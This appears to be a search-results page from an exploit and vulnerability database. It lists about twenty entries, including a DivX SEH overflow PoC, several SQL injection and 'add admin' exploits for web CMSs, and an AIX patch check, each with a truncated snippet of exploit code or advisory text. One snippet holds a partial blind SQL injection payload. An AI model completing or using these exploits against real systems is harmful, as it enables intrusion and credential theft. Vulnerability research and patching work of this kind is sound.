11990 matches found
DivX Player 6.6.0 - '.srt' File Buffer Overflow (SEH)
!/usr/bin/python DivX 6.6 SRT SEH overwrite PoC Tested on XP SP2 Coded by Mati Aharoni, aka muts and Chris Hadnagy, aka loganWHD muts..at..offensive-security...dot..com chris..at..offensive-security...dot..com http://www.offensive-security.com/0day/divx66.py.txt Notes: Unicode buffer - real pita...
AIX 610000 : U816166
The remote host is missing AIX PTF U816166 which is related to the security of the package bos.adt.prof You should install this PTF for your system to be up-to-date. %NASLMINLEVEL 70300 C Tenable Network Security, Inc. if ! definedfunc"bnrandom" exit0; include'deprecatednasllevel.inc';...
Mumbo Jumbo Media OP4 - Blind SQL Injection
Mumbo Jumbo Media OP4 - Blind SQL Injection php '.$argv0.' http://www.site.com/cms/ 300 1 '; if $argc 1 printr' '; echo 'Searching for Admin: '; for$i=1; $i = 50; $i++ $temp1 = filegetcontents$argv1.'index.php?id='.$argv2.'+and+lengthselect+kennung+from+op4admin+where+id='.$argv3.'='.$i.'--'; if...
LightNEasy 1.2 (no database) Remote Hash Retrieve Exploit
No description provided by source. Author: GiReX mySite: girex.altervista.org Date: 10/04/08 CMS: LightNEasy 1.2 no database Site: lightneasy.org Bug: Hash Disclosure Exploit: Remote Hash Retrieve Bug Explanation: LightNEasy/lightneasy.php if$GET'do'!="login" && $GET'do'!="sitemap" &&...
LiveCart <= 1.1.1 (category id) Blind SQL Injection Exploit
Exploit for unknown platform in category web applications =========================================================== LiveCart = 1.1.1 category id Blind SQL Injection Exploit =========================================================== !/usr/bin/perl -w use LWP::UserAgent;...
KnowledgeQuest 2.5 - Arbitrary Add Admin
KnowledgeQuest 2.5 - Arbitrary Add Admin !/usr/bin/perl use strict; use LWP::UserAgent; print "-+------------------------------------------+-\n"; print "-+- KnowledgeQuest 2.5 Arbitrary Add Admin -+-\n"; print "-+------------------------------------------+-\n"; print "-+- Discovered && Coded By...
KnowledgeQuest 2.5 - Arbitrary Add Admin
!/usr/bin/perl use strict; use LWP::UserAgent; print "-+------------------------------------------+-\n"; print "-+- KnowledgeQuest 2.5 Arbitrary Add Admin -+-\n"; print "-+------------------------------------------+-\n"; print "-+- Discovered && Coded By t0pP8uzz -+-\n"; print "-+- This Exploit...
Attack Technique: File Download Injection
File Download Injection ======================= Affects most web application platforms, including Java, .NET, PHP, Cold Fusion. This attack involves the use of header injection, particularly the Content-Disposition header, to subvert HTTP responses from trusted domains. Attackers can use this...
Gaming Directory 1.0 (cat_id) Remote SQL Injection Vulnerability
No description provided by source. --==+================================================================================+==-- --==+ Gaming Directory 1.0 SQL Injection Vulnerbilitys +==-- --==+================================================================================+==-- Discovered By:...
Cobalt 0.1 - Multiple SQL Injections
---------------------------------------- CoBaLT v1.0 Remote SQL Ä°njection Vulnerabiltiy Discovered : U238 Mail : [email protected] WebPage : http://ugur238.org The End Script: http://www.aspindir.com/indir.asp?ID=5414 Script Alternativ :...
Microsoft Visual Basic Enterprise Ed. 6 SP6 DSR File Local BoF Exploit
MS Visual Basic Enterprise Ed. 6 SP6 DSR File Local BOF Exploit. Local exploit for windows platform usage: exploit.py print "-----------------------------------------------------------------------" print ' PoC 2 MS Visual Basic Enterprise Ed. 6 SP6 ".dsr" File Handling BoF\n' print " author:...
verycms2. 0 elevation of privilege vulnerability-vulnerability warning-the black bar safety net
code: passportclient.php function Loginipwrite$winduid global $db,$timestamp,$onlineip; $logininfo="$onlineip|$timestamp|6"; $db-update "UPDATE pwuser SET lastvisit=thisvisit,thisvisit="$timestamp",onlineip="$logininfo" WHERE uid="$winduid""; Look at the$onlineip how to Global.php...
HP OpenView Network Node Manager (OV NNM) 7.5.1 - OVAS.exe Overflow (SEH)
HP OpenView Network Node Manager OV NNM 7.5.1 - OVAS.exe Overflow SEH !/usr/bin/python HP OpenView NNM 7.5.1 OVAS.EXE Pre Authentication SEH Overflow Tested on Windows 2003 Server SP1. Coded by Mati Aharoni muts..at..offensive-security.com http://www.offensive-security.com/0day/hp-nnm-ov.py.txt...
terracotta-lfidownload.txt
Its been awhile since I've posted something, so lets get to the goods. Terracotta is a an open source CMS from http://sourceforge.net/projects/terracotta/ First up, we have Full path disclosure vulnerabilities in the GET'd variable 'File'. Specify something other than whats in the list and we get...
Nuked-Klan <= 1.7.6 Multiple Vulnerabilities Exploit
?php / Name: Nuked-Klan = 1.7.6 Multiple Vulnerabilities Exploit Credits: Charles "real" F. charlesfolathotmail.fr URL: http://realn.free.fr/releases/46556 Date: 04-01-08 - Remote Code Execution - Remote File Upload - Admin Hash Extraction Remote Code Exec vulnerability used in this exploit was...
AuraCMS 2.x (user.php) Security Code Bypass / Add Administrator Exploit
No description provided by source. !/usr/bin/perl Indonesian Newhack Security Advisory ------------------------------------ AuraCMS 2.x user.php - Security Code Bypass & Add Administrator Exploit Waktu : Feb 28 2008 08:00PM Software : AuraCMS Versi : 2.0 2.1 2.2.1 Vendor : http://www.auracms.org/...
Multiple vulnerabilities in solidDB 06.00.1018
Luigi Auriemma Application: IBM solidDB http://www.solidtech.com/en/products/relationaldatabasemanagementsoftware/embed.asp Versions: = 06.00.1018 Platforms: Windows tested, Solaris, AIX, HP-UX and Linux Bugs: A format string in logging function B crash caused by arbitrary array index C NULL...
Destar 0.2.2-5 - Arbitrary Add Admin
!/usr/bin/python Exploit for destar 0.2.2-5, tested on Linux Debian Bug found and exploit coded by a non root user http://nonroot.blogspot.com/ Enero 2008 This is a PoC, please use it just for learning how to exploit something use: $python ./exploitcode.py required: urllib, sys and re import urll...
Easy-Clanpage 2.2 - 'id' SQL Injection
.-=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=-. Easy-Clanpage v2.2 gallery Remote SQL Injection Vulnerability .-=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=-. + Author: n3w7u + Mail: [email protected] + Source:...
XSS vulnerabilities in insert image and link actions
In 2.7.x, the following URL's are vulnerable: - /users/insertlink.action - /users/insertlink-page-attachmentstab.action - /users/insertlink-page-uploadfile.action - /users/insertlink-draft-attachmentstab.action - /users/insertlink-draft-uploadfile.action - /users/doinsertimageinpage.action -...